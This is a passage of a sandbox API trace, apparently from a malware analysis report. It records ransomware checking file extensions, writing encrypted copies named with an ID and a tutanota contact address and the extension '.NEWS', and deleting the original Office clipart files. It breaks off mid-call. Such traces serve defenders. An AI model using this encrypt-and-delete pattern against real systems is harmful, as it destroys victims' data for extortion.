[0075.971] lstrlenW (lpString=".zip") returned 4 [0075.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.971] lstrlenW (lpString=".rar") returned 4 [0075.971] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.971] lstrlenW (lpString=".bz2") returned 4 [0075.971] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.971] lstrlenW (lpString=".7z") returned 3 [0075.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0075.971] lstrlenW (lpString=".dbf") returned 4 [0075.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0075.971] lstrlenW (lpString=".1cd") returned 4 [0075.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0075.971] lstrlenW (lpString=".jpg") returned 4 [0075.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0075.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0075.971] lstrlenW (lpString=".doc") returned 4 [0075.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.971] lstrlenW (lpString=".docx") returned 5 [0075.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.971] lstrlenW (lpString=".pdf") returned 4 [0075.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.971] lstrlenW (lpString=".xls") returned 4 [0075.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.971] lstrlenW (lpString=".xlsx") returned 5 [0075.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.971] lstrlenW (lpString=".ppt") returned 4 [0075.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0075.971] lstrlenW (lpString=".zip") returned 4 [0075.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.971] lstrlenW (lpString=".rar") returned 4 [0075.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.972] lstrlenW (lpString=".bz2") returned 4 [0075.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.972] lstrlenW (lpString=".7z") returned 3 [0075.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0075.972] lstrlenW (lpString=".dbf") returned 4 [0075.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0075.972] lstrlenW (lpString=".1cd") returned 4 [0075.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0075.972] lstrlenW (lpString=".jpg") returned 4 [0075.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.972] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.972] lstrlenW (lpString="AN01173_.WMF") returned 12 [0075.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0075.973] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=26332) returned 1 [0075.973] CloseHandle (hObject=0x358) returned 1 [0075.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0075.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0075.973] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.973] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0075.974] GetLastError () returned 0x0 [0075.974] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x66dc, lpOverlapped=0x0) returned 1 [0075.976] WriteFile (in: hFile=0x380, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x66e0, lpOverlapped=0x0) returned 1 [0075.977] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.977] WriteFile (in: hFile=0x380, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.977] SetEndOfFile (hFile=0x380) returned 1 [0075.977] CloseHandle (hObject=0x380) returned 1 [0075.979] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.979] SetEndOfFile (hFile=0x358) returned 1 [0075.980] CloseHandle (hObject=0x358) returned 1 [0075.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0075.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0075.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0075.980] lstrlenW (lpString=".doc") returned 4 [0075.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.980] lstrlenW (lpString=".docx") returned 5 [0075.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.980] lstrlenW (lpString=".pdf") returned 4 [0075.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.980] lstrlenW (lpString=".xls") returned 4 [0075.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.981] lstrlenW (lpString=".xlsx") returned 5 [0075.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.981] lstrlenW (lpString=".ppt") returned 4 [0075.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0075.981] lstrlenW (lpString=".zip") returned 4 [0075.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.981] lstrlenW (lpString=".rar") returned 4 [0075.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.981] lstrlenW (lpString=".bz2") returned 4 [0075.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.981] lstrlenW (lpString=".7z") returned 3 [0075.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0075.981] lstrlenW (lpString=".dbf") returned 4 [0075.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0075.981] lstrlenW (lpString=".1cd") returned 4 [0075.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0075.981] lstrlenW (lpString=".jpg") returned 4 [0075.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0075.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0075.981] lstrlenW (lpString=".doc") returned 4 [0075.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.981] lstrlenW (lpString=".docx") returned 5 [0075.981] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.981] lstrlenW (lpString=".pdf") returned 4 [0075.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.981] lstrlenW (lpString=".xls") returned 4 [0075.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.981] lstrlenW (lpString=".xlsx") returned 5 [0075.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.982] lstrlenW (lpString=".ppt") returned 4 [0075.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0075.982] lstrlenW (lpString=".zip") returned 4 [0075.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.982] lstrlenW (lpString=".rar") returned 4 [0075.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.982] lstrlenW (lpString=".bz2") returned 4 [0075.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.982] lstrlenW (lpString=".7z") returned 3 [0075.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0075.982] lstrlenW (lpString=".dbf") returned 4 [0075.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0075.982] lstrlenW (lpString=".1cd") returned 4 [0075.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0075.982] lstrlenW (lpString=".jpg") returned 4 [0075.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.982] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.982] lstrlenW (lpString="AN01174_.WMF") returned 12 [0075.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0075.982] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=27858) returned 1 [0075.983] CloseHandle (hObject=0x358) returned 1 [0075.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0075.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0075.983] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.983] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0075.983] GetLastError () returned 0x0 [0075.983] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0075.985] WriteFile (in: hFile=0x380, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0075.986] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.986] WriteFile (in: hFile=0x380, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.986] SetEndOfFile (hFile=0x380) returned 1 [0075.987] CloseHandle (hObject=0x380) returned 1 [0075.988] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.988] SetEndOfFile (hFile=0x358) returned 1 [0075.989] CloseHandle (hObject=0x358) returned 1 [0075.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0075.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0075.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0075.990] lstrlenW (lpString=".doc") returned 4 [0075.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.990] lstrlenW (lpString=".docx") returned 5 [0075.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.990] lstrlenW (lpString=".pdf") returned 4 [0075.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.990] lstrlenW (lpString=".xls") returned 4 [0075.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.990] lstrlenW (lpString=".xlsx") returned 5 [0075.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.990] lstrlenW (lpString=".ppt") returned 4 [0075.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0075.990] lstrlenW (lpString=".zip") returned 4 [0075.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.990] lstrlenW (lpString=".rar") returned 4 [0075.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.990] lstrlenW (lpString=".bz2") returned 4 [0075.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.990] lstrlenW (lpString=".7z") returned 3 [0075.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0075.990] lstrlenW (lpString=".dbf") returned 4 [0075.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0075.991] lstrlenW (lpString=".1cd") returned 4 [0075.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0075.991] lstrlenW (lpString=".jpg") returned 4 [0075.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0075.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0075.991] lstrlenW (lpString=".doc") returned 4 [0075.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.991] lstrlenW (lpString=".docx") returned 5 [0075.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.991] lstrlenW (lpString=".pdf") returned 4 [0075.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.991] lstrlenW (lpString=".xls") returned 4 [0075.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.991] lstrlenW (lpString=".xlsx") returned 5 [0075.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.991] lstrlenW (lpString=".ppt") returned 4 [0075.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0075.991] lstrlenW (lpString=".zip") returned 4 [0075.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.991] lstrlenW (lpString=".rar") returned 4 [0075.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.991] lstrlenW (lpString=".bz2") returned 4 [0075.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.991] lstrlenW (lpString=".7z") returned 3 [0075.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0075.991] lstrlenW (lpString=".dbf") returned 4 [0075.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0075.991] lstrlenW (lpString=".1cd") returned 4 [0075.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0075.992] lstrlenW (lpString=".jpg") returned 4 [0075.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.992] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.992] lstrlenW (lpString="AN01184_.WMF") returned 12 [0075.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0075.992] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3746) returned 1 [0075.992] CloseHandle (hObject=0x358) returned 1 [0075.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0075.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0075.992] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.992] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0075.993] GetLastError () returned 0x0 [0075.993] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xea2, lpOverlapped=0x0) returned 1 [0075.994] WriteFile (in: hFile=0x380, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0075.995] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.995] WriteFile (in: hFile=0x380, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.995] SetEndOfFile (hFile=0x380) returned 1 [0075.995] CloseHandle (hObject=0x380) returned 1 [0075.996] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.996] SetEndOfFile (hFile=0x358) returned 1 [0075.997] CloseHandle (hObject=0x358) returned 1 [0075.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0075.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0075.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0075.997] lstrlenW (lpString=".doc") returned 4 [0075.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.998] lstrlenW (lpString=".docx") returned 5 [0075.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.998] lstrlenW (lpString=".pdf") returned 4 [0075.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.998] lstrlenW (lpString=".xls") returned 4 [0075.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.998] lstrlenW (lpString=".xlsx") returned 5 [0075.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.998] lstrlenW (lpString=".ppt") returned 4 [0075.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0075.998] lstrlenW (lpString=".zip") returned 4 [0075.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.998] lstrlenW (lpString=".rar") returned 4 [0075.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.998] lstrlenW (lpString=".bz2") returned 4 [0075.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.998] lstrlenW (lpString=".7z") returned 3 [0075.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.998] lstrlenW 